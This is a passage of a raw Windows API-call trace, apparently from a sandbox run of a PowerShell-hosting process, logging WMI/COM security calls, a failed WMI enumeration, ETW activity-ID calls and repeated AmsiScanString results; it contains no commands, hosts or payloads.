out: pToken=0x87be620) returned 0x0 [0262.616] IEnumWbemClassObject:Clone (in: This=0x1261d90, ppEnum=0x87be7dc | out: ppEnum=0x87be7dc*=0x1262178) returned 0x0 [0263.230] IUnknown:QueryInterface (in: This=0x1262178, riid=0x6cb3352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be698 | out: ppvObject=0x87be698*=0x126217c) returned 0x0 [0263.231] IClientSecurity:QueryBlanket (in: This=0x126217c, pProxy=0x1262178, pAuthnSvc=0x87be6e8, pAuthzSvc=0x87be6e4, pServerPrincName=0x87be6dc, pAuthnLevel=0x87be6e0, pImpLevel=0x87be6d0, pAuthInfo=0x87be6d4, pCapabilites=0x87be6d8 | out: pAuthnSvc=0x87be6e8*=0xa, pAuthzSvc=0x87be6e4*=0x0, pServerPrincName=0x87be6dc, pAuthnLevel=0x87be6e0*=0x6, pImpLevel=0x87be6d0*=0x2, pAuthInfo=0x87be6d4, pCapabilites=0x87be6d8*=0x1) returned 0x0 [0263.231] IUnknown:Release (This=0x126217c) returned 0x1 [0263.231] IUnknown:QueryInterface (in: This=0x1262178, riid=0x6cb3351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be68c | out: ppvObject=0x87be68c*=0x76b228c) returned 0x0 [0263.231] IUnknown:QueryInterface (in: This=0x1262178, riid=0x6cb3352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be678 | out: ppvObject=0x87be678*=0x126217c) returned 0x0 [0263.231] IClientSecurity:SetBlanket (This=0x126217c, pProxy=0x1262178, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0263.471] IUnknown:Release (This=0x126217c) returned 0x2 [0263.471] WbemLocator:IUnknown:Release (This=0x76b228c) returned 0x1 [0263.471] CoTaskMemFree (pv=0x78cde78) [0263.471] IUnknown:AddRef (This=0x1262178) returned 0x2 [0263.472] CoGetContextToken (in: pToken=0x87bdba0 | out: pToken=0x87bdba0) returned 0x0 [0263.472] CoGetContextToken (in: pToken=0x87bdfa8 | out: pToken=0x87bdfa8) returned 0x0 [0263.472] IUnknown:QueryInterface (in: This=0x1262178, riid=0x72d902b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87bdf40 | out: ppvObject=0x87bdf40*=0x76b2270) returned 0x0 [0263.473] WbemLocator:IRpcOptions:Query (in: This=0x76b2270, pPrx=0x78f30b0, dwProperty=2, pdwValue=0x87be040 | out: pdwValue=0x87be040) returned 0x80004002 [0263.473] WbemLocator:IUnknown:Release (This=0x76b2270) returned 0x2 [0263.473] CoGetContextToken (in: pToken=0x87be588 | out: pToken=0x87be588) returned 0x0 [0263.473] CoGetContextToken (in: pToken=0x87be4e8 | out: pToken=0x87be4e8) returned 0x0 [0263.473] IUnknown:QueryInterface (in: This=0x1262178, riid=0x87be5b8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x87be480 | out: ppvObject=0x87be480*=0x1262178) returned 0x0 [0263.474] IUnknown:Release (This=0x1262178) returned 0x2 [0263.474] SysStringLen (param_1=0x0) returned 0x0 [0263.477] IEnumWbemClassObject:Reset (This=0x1262178) returned 0x0 [0263.613] CoTaskMemAlloc (cb=0x4) returned 0x76b8c90 [0263.614] IEnumWbemClassObject:Next (in: This=0x1262178, lTimeout=-1, uCount=0x1, apObjects=0x76b8c90, puReturned=0x5252c34 | out: apObjects=0x76b8c90*=0x0, puReturned=0x5252c34*=0x0) returned 0x80041014 [0264.168] CoTaskMemFree (pv=0x76b8c90) [0264.169] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x87be7b8 | out: pperrinfo=0x87be7b8*=0x768f094) returned 0x0 [0264.169] IUnknown:QueryInterface (in: This=0x768f094, riid=0x6cb332c8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be7b4 | out: ppvObject=0x87be7b4*=0x768f08c) returned 0x0 [0264.169] IMarshal:GetUnmarshalClass (in: This=0x768f08c, riid=0x6cb33338*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x87be7bc | out: pCid=0x87be7bc*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0264.170] IUnknown:Release (This=0x768f08c) returned 0x1 [0264.172] IUnknown:QueryInterface (in: This=0x768f094, riid=0x5252cb0*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x87be80c | out: ppvObject=0x87be80c*=0x768f088) returned 0x0 [0264.173] IUnknown:Release (This=0x768f094) returned 0x1 [0264.174] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x87be6fc | out: lpiid=0x87be6fc) returned 0x0 [0264.175] CoGetClassObject (in: rclsid=0x78cdd04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x72d9b24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x87be408 | out: ppv=0x87be408*=0x76b8c90) returned 0x0 [0264.181] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x76b8c90, riid=0x72de9e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x87be624 | out: ppvObject=0x87be624*=0x0) returned 0x80004002 [0264.181] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x76b8c90, pUnkOuter=0x0, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be630 | out: ppvObject=0x87be630*=0x78e31b8) returned 0x0 [0264.181] WbemStatusCodeText:IUnknown:Release (This=0x76b8c90) returned 0x0 [0264.181] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x78e31b8, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be254 | out: ppvObject=0x87be254*=0x78e31b8) returned 0x0 [0264.181] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x78e31b8, riid=0x72d90328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x87be210 | out: ppvObject=0x87be210*=0x0) returned 0x80004002 [0264.181] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x78e31b8, riid=0x72d90490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x87bde04 | out: ppvObject=0x87bde04*=0x0) returned 0x80004002 [0264.182] WbemStatusCodeText:IUnknown:AddRef (This=0x78e31b8) returned 0x3 [0264.182] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x78e31b8, riid=0x72d90074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x87bdb64 | out: ppvObject=0x87bdb64*=0x0) returned 0x80004002 [0264.182] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x78e31b8, riid=0x72d8ffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x87bdb14 | out: ppvObject=0x87bdb14*=0x0) returned 0x80004002 [0264.182] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x78e31b8, riid=0x72cd7604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87bdb20 | out: ppvObject=0x87bdb20*=0x0) returned 0x80004002 [0264.182] CoGetContextToken (in: pToken=0x87bdb80 | out: pToken=0x87bdb80) returned 0x0 [0264.182] CoGetContextToken (in: pToken=0x87bdf88 | out: pToken=0x87bdf88) returned 0x0 [0264.182] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x78e31b8, riid=0x72d902b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x87be014 | out: ppvObject=0x87be014*=0x0) returned 0x80004002 [0264.182] WbemStatusCodeText:IUnknown:Release (This=0x78e31b8) returned 0x2 [0264.182] WbemStatusCodeText:IUnknown:Release (This=0x78e31b8) returned 0x1 [0264.182] CoGetContextToken (in: pToken=0x87be610 | out: pToken=0x87be610) returned 0x0 [0264.182] CoGetContextToken (in: pToken=0x87be570 | out: pToken=0x87be570) returned 0x0 [0264.183] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x78e31b8, riid=0x87be640*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x87be63c | out: ppvObject=0x87be63c*=0x78e31b8) returned 0x0 [0264.183] WbemStatusCodeText:IUnknown:AddRef (This=0x78e31b8) returned 0x3 [0264.183] WbemStatusCodeText:IUnknown:Release (This=0x78e31b8) returned 0x2 [0264.185] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x78e31b8, hRes=0x80041014, LocaleId=0x0, lFlags=1, MessageText=0x87be7ac | out: MessageText=0x87be7ac*="Initialization failure ") returned 0x0 [0264.186] SysStringByteLen (bstr="Initialization failure ") returned 0x2e [0264.237] CoGetContextToken (in: pToken=0x87bca58 | out: pToken=0x87bca58) returned 0x0 [0264.238] IUnknown:Release (This=0x1262178) returned 0x1 [0264.238] IUnknown:Release (This=0x1262178) returned 0x0 [0264.570] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87be598*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87be598*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0264.570] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87be504*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87be504*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfd, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0264.570] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87be588*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87be588*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0264.641] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87be464*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87be464*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2e, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0264.641] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87be3d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87be3d0*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0264.641] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87be454*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2e, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87be454*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2e, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0264.665] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x7888bf8 [0264.666] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x7888ea0 [0264.717] CoCreateGuid (in: pguid=0x87be1e0 | out: pguid=0x87be1e0*(Data1=0xd7b9c5a, Data2=0x711f, Data3=0x4ab4, Data4=([0]=0x81, [1]=0xef, [2]=0x58, [3]=0xe8, [4]=0xf3, [5]=0xfd, [6]=0xdd, [7]=0x29))) returned 0x0 [0264.833] QueryPerformanceCounter (in: lpPerformanceCount=0x87bdf2c | out: lpPerformanceCount=0x87bdf2c*=35962519420) returned 1 [0264.833] AmsiScanString () returned 0x80070015 [0271.370] CoCreateGuid (in: pguid=0x87be1e0 | out: pguid=0x87be1e0*(Data1=0xd299bd9, Data2=0x1091, Data3=0x48e5, Data4=([0]=0xae, [1]=0x7a, [2]=0xfa, [3]=0x77, [4]=0x44, [5]=0x8a, [6]=0x42, [7]=0x28))) returned 0x0 [0271.476] QueryPerformanceCounter (in: lpPerformanceCount=0x87bdf2c | out: lpPerformanceCount=0x87bdf2c*=36626878857) returned 1 [0271.477] AmsiScanString () returned 0x80070015 [0273.482] CoCreateGuid (in: pguid=0x87bdd84 | out: pguid=0x87bdd84*(Data1=0xd6ea19c0, Data2=0x869f, Data3=0x4f53, Data4=([0]=0x88, [1]=0x9c, [2]=0xbe, [3]=0xe, [4]=0xc0, [5]=0xc8, [6]=0x5b, [7]=0xd6))) returned 0x0 [0273.488] QueryPerformanceCounter (in: lpPerformanceCount=0x87bdbc0 | out: lpPerformanceCount=0x87bdbc0*=36828011546) returned 1 [0273.488] AmsiScanString () returned 0x80070015 [0273.562] QueryPerformanceCounter (in: lpPerformanceCount=0x87bdb88 | out: lpPerformanceCount=0x87bdb88*=36835481097) returned 1 [0273.563] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bdce8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdce8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x3f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0273.563] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bdc54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdc54*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2e, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0273.563] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x3f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x3f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0273.563] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x87bd610, nSize=0xc3 | out: lpBuffer="炀Գ호ࡻ") returned 0x0 [0273.638] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bd97c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd97c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x41, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0273.638] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd8e8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd8e8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x3f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0273.638] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bd96c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x41, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bd96c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x41, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0273.640] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd90c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd90c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x41, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.020] QueryPerformanceCounter (in: lpPerformanceCount=0x87bd740 | out: lpPerformanceCount=0x87bd740*=36881257930) returned 1 [0274.020] AmsiScanString () returned 0x80070015 [0274.024] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x87c [0274.024] CoCreateGuid (in: pguid=0x87bd648 | out: pguid=0x87bd648*(Data1=0xdc99057f, Data2=0x27e2, Data3=0x4b5f, Data4=([0]=0xa5, [1]=0x39, [2]=0xf, [3]=0x5e, [4]=0x6a, [5]=0x80, [6]=0xd6, [7]=0xbe))) returned 0x0 [0274.025] QueryPerformanceCounter (in: lpPerformanceCount=0x87bd484 | out: lpPerformanceCount=0x87bd484*=36881691632) returned 1 [0274.025] AmsiScanString () returned 0x80070015 [0274.042] QueryPerformanceCounter (in: lpPerformanceCount=0x87bd44c | out: lpPerformanceCount=0x87bd44c*=36883489693) returned 1 [0274.043] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bd5ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd5ac*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x42, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.043] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd518*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x41, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.043] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bd59c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x42, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bd59c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x42, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.043] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x87bced4, nSize=0xc3 | out: lpBuffer="憌Ե컼ࡻ") returned 0x0 [0274.044] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bd240*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd240*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x43, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.044] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd1ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd1ac*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x42, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.044] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bd230*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x43, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bd230*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x43, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.045] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd1d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd1d0*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x43, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.689] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bd53c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bd53c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x43, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.689] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bd59c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x42, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bd59c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x42, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.690] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bdc78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdc78*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x42, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0274.690] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x3f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bdcd8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x3f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0275.684] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x87bdd60 | out: lpConsoleScreenBufferInfo=0x87bdd60) returned 1 [0276.681] CoCreateGuid (in: pguid=0x87bdd84 | out: pguid=0x87bdd84*(Data1=0xc19eb9f0, Data2=0x66c8, Data3=0x4330, Data4=([0]=0x82, [1]=0x81, [2]=0xf6, [3]=0x1b, [4]=0x12, [5]=0x9, [6]=0xcd, [7]=0x3e))) returned 0x0 [0276.682] QueryPerformanceCounter (in: lpPerformanceCount=0x87bdbc0 | out: lpPerformanceCount=0x87bdbc0*=37147400381) returned 1 [0276.682] AmsiScanString () returned 0x80070015 [0276.688] QueryPerformanceCounter (in: lpPerformanceCount=0x87bdb88 | out: lpPerformanceCount=0x87bdb88*=37148039890) returned 1 [0276.688] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bdce8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bdce8*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4c, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0276.688] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bdc54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, 